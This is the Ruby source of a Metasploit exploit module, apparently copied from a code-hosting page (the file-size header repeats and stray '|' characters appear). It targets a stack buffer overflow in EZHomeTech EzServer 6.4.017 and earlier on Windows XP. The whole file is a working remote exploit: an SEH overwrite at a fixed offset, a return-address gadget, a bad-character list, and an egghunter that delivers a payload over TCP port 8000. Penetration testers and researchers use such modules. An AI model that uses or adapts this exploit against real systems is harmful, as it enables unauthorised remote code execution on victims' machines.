92 lines
2.5 KiB
Ruby
92 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Egghunter
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the EZHomeTech EZServer
|
|
for versions 6.4.017 and earlier. If a malicious user sends packets
|
|
containing an overly long string, it may be possible to execute a
|
|
payload remotely. Due to size constraints, this module uses the
|
|
Egghunter technique.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '83065' ],
|
|
[ 'BID', '54056' ],
|
|
[ 'EDB', '19266' ],
|
|
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => 'seh'
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
|
|
{
|
|
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
|
|
'Offset' => 5852
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jun 18 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options([Opt::RPORT(8000)], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
eggoptions =
|
|
{
|
|
:checksum => true,
|
|
:eggtag => "w00t"
|
|
}
|
|
|
|
hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
|
|
egg = hunter[1]
|
|
buff = rand_text(target['Offset'] - egg.length) #junk
|
|
buff << egg
|
|
buff << make_nops(32)
|
|
buff << generate_seh_record(target.ret)
|
|
buff << make_nops(16)
|
|
buff << hunter[0]
|
|
buff << rand_text_alpha_upper(500)
|
|
|
|
print_status("Triggering shellcode now...")
|
|
print_status("Please be patient, the egghunter may take a while..")
|
|
|
|
sock.put(buff)
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
end
|